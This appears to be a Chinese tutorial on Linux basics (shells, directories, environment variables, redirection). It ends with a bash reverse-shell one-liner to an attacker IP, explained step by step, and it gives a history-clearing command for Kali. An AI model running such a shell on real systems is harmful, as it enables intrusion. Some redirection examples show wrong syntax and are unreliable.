Linux操作系统基础知识

Linux操作系统基础知识

  1. 内核
  2. Shell
  3. 文件系统
  4. 应用程序
  1. 管理进程
  2. 管理内存
  3. 管理驱动
  4. 管理文件和网络

功能:接收用户的命令,经过转换,交给内核执行

cat —> open() read()

优点:

  • 简化操作
  • 安全
名称 程序路径 作者
bourne Shell /usr/bin/sh或/bin/sh Stephen Bourne
C Shell /usr/bin/csh Bill Joy
K Shell /usr/bin/ksh David Korn
Bourne Again Shell /bin/bash Brian Fox
Z Shell /bin/zsh或/usr/bin/zsh Paul Falstad

Windows:cmd、Power Shell

https://pic.imgdb.cn/item/64a4e0c21ddac507ccc5b805.jpg

“一切皆文件”

查看文件 作用
lsof /bin/bash 查找某个文件相关的进程
lsof -u root 列出某个用户打开的文件信息
lsof -c redis 列出某个程序进程所打开的文件信息
lsof -i tcp 列出所有tcp 网络连接信息
…… ……

https://pic.imgdb.cn/item/64a4e2b61ddac507ccc939ec.jpg

https://pic.imgdb.cn/item/64a4e2c21ddac507ccc94e54.jpg

目录 作用 备注
bin 存放普通用户可执行的指令 即使在单用户模式下也能够执行处理
boot 开机引导目录 包括Linux内核文件与开机所需要的文件
dev 设备目录 所有的硬件设备及周边均放置在这个设备目录中
etc 各种配置文件目录 大部分配置属性均存放在这里
lib 库文件存放地,bin和sbin需要的库文件 类似Windows的DLL
media 可移除设备挂载目录 类似U盘、光盘、移动硬盘等临时挂放目录
mnt 用户临时挂载其他的文件系统 额外的设备可挂载在这里,相对临时而言
opt 第三方软件安装目录 现在习惯性的放置在/usr/local中
proc 虚拟文件系统 通常是内存中的映射,注意误删除数据文件的恢复
root 系统管理员主目录 除root之外,其他用户均放置在/home目录下
run 系统运行时所需文件 以前放在/var/run中,现在独立的/run目录
sbin 只有root才能运行的管理指令 跟bin类似,但只属于root管理员
srv 服务启动后需要访问的数据目录
sys 虚拟文件系统 跟proc一样,记录核心系统硬件信息
tmp 存放临时文件目录 所有用户对该目录均可读写
usr 应用程序放置目录
var 存放系统执行过程经常改变的文件

主目录:home directory

root用户的主目录是 /root

其他用户的主目录是 /home/用户名

将当前工作目录更改为当前用户的主目录:cd 空格 或者 cd ~

工作目录:working directory

符号 指代
绝对路径 由根目录 / 开始写起
相对路径 从当前所在的工作目录开始写起
/ 根目录
. 代表当前目录
~ 代表用户工作目录,vim ~/.bashrc
../ 代表上一级目录
../../ 上上一级目录,以此类推,超出范围的时候代表根目录
1
2
3
4
5
6
7
man command(manual)——具体参数和使用方法

whatis command——命令的简要说明

info command——详细介绍

help command——Linux内置命令

关机:

1
2
3
4
5
poweroff

shutdown -h now

halt -p

重启:

1
reboot
操作 作用
Tab键 补全命令和目录(自动提示)
方向键 上一条命令:↑;下一条命令:↓
Ctrl + r 搜索历史命令,回车执行
!cd: 重复执行最近一次以cd开头的历史命令
Ctrl + Insert 复制
Shift + Insert 粘贴
Alt + Insert 复制并粘贴
Ctrl + E 光标移动到行尾
Ctrl + A 光标移动到行首
Ctrl + K 清除光标后至行尾的内容
Ctrl + U 清除光标前至行首间的所有内容
clear 清屏,但是命令都还在
history 查看历史命令
history -c 清除历史命令
kali:echo > ~/.zsh_history 清除历史命令(kali Linux)

查看别名:alias

设置别名(以bash为例):vim ~/.bashrc

格式:alias short='xxx;xxx'

生效:source ~/.bashrc

符号 指代
* 任意字符
? 单个字符
[] 匹配范围中的,比如[0-9][a-z]
{} 多个 ll {.log,.txt}
^ 取反 ll*[^txt]* 查找不是.txt结尾

环境变量是操作系统或应用程序提供的一种机制,用于存储和访问各种配置信息和运行时参数。它们对于操作系统和应用程序的正常运行非常重要,具有以下作用:

  1. 配置应用程序:环境变量可以设置应用程序的配置参数,例如数据库连接字符串、日志级别、系统路径等。通过修改环境变量,可以轻松更改应用程序的行为和设置。
  2. 系统路径设置:环境变量中的"PATH"变量定义了系统在哪些目录中查找可执行文件。当你在命令行中输入一个命令时,操作系统会根据"PATH"环境变量的值来查找对应的可执行文件。这样,你可以在任何目录下直接运行系统中的命令。
  3. 共享配置信息:环境变量可以用于共享配置信息和参数值。不同的应用程序可以使用相同的环境变量来获取共享的配置值,这样可以提高配置的一致性和可维护性。
  4. 运行时参数传递:通过设置环境变量,可以在不修改代码的情况下传递运行时参数给应用程序。应用程序可以读取环境变量的值来确定其行为。
  5. 系统定制化:环境变量允许用户对系统进行个性化定制。用户可以设置特定的环境变量来满足自己的需求,例如设置默认编辑器、语言环境、主题等。

查看全部变量:env

查看单个变量:echo $XXX

用户变量:~/.bashrc

系统变量:/etc/profile

设置JDK环境变量

vim /etc/profile

export JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74

export PATH=$JAVA_HOME/bin:$PATH

export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarsource /etc/profile

ID 描述 设备
0 标准输⼊(stdin) 键盘
1 标准输出(stdout) 显示器
2 标准错误输出(stderr) 显示器

在Linux中,重定向是一种将命令的输入或输出从默认的位置进行修改的方式。通过重定向,你可以将命令的输入重定向自文件,或将命令的输出重定向到文件或其他位置。

符号 类别
> 输出重定向(覆盖)
» 输出重定向(追加)
2> 错误输出重定向
&> 标准输出和错误输出合并重定向
< 输入重定向
« Here文档(Here Document)输入重定向
| 管道(pipe)
  1. 标准输出重定向(>):使用 > 将命令的输出重定向到文件中,覆盖原有内容。例如:

    1
    
    command > output.txt
    
  2. 标准输出追加重定向(>>):使用 >> 将命令的输出追加到文件末尾,而不覆盖原有内容。例如:

    1
    
    command >> output.txt
    
  3. 标准错误输出重定向(2>):使用 2> 将命令的错误输出重定向到文件中。例如:

    1
    
    command 2> error.txt
    
  4. 标准输出和错误输出合并重定向(&>>):使用 &>> 将命令的标准输出和错误输出合并重定向到文件中。例如:

    1
    2
    3
    
    command &> output.txt
    command > output.txt 2>&1
    
  5. 管道(|):使用 | 将一个命令的输出作为另一个命令的输入。例如:

    1
    
    command1 | command2
    
  6. 标准输入重定向(<):使用 < 将命令的输入从文件中读取。例如:

    1
    
    command < file
    

    file 文件中的内容作为 command 的输入。

  7. 标准输入重定向(<):使用 < 从标准输入(键盘)中读取数据,直到遇见分界符 END 才停止。例如:

    1
    
    command < END
    

    从标准输入(键盘)中读取数据,直到遇见分界符 END 才停止。

  8. 标准输出和输入重定向(<>):使用 < 将文件 file1 作为 command 的输入,并将 command 的处理结果输出到文件 file2。例如:

    1
    
    command < file1 > file2
    

    file1 作为 command 的输入,并将 command 的处理结果输出到 file2

  9. 标准输入重定向和命令行参数结合使用(<<<):使用 < 将文件 test.txt 作为输入,并使用 wc -l 命令统计文件中的行数。例如:

    1
    
    wc -l < test.txt
    

    统计 test.txt 文件中的行数。

  10. 标准输入重定向和Here文档结合使用(<<):使用 << 从标准输入(键盘)中读取数据,直到遇见分界符 END 才停止,并使用 wc -l 命令统计输入文本的行数。例如:

    1
    
    wc -l << END
    

    统计用户在终端输入的文本的行数,直到遇见分界符 END 才停止。

bash反弹连接案例

bash -i >& /dev/tcp/192.168.142.44/7777 0>&1

bash -i :在靶机打开交互式的Shell

/dev/tcp/192.168.142.44/7777 :连接到攻击机IP端口

>& &>等价,代表标准输出1 + 错误输出2;把靶机的输出重定向到攻击机——接收结果

0>&1:左边是标准输入。右边是标准输出,输出重定向。把靶机的输入重定向为攻击机的输出——接收命令

这条命令的作用:靶机的输入输出都到了攻击机上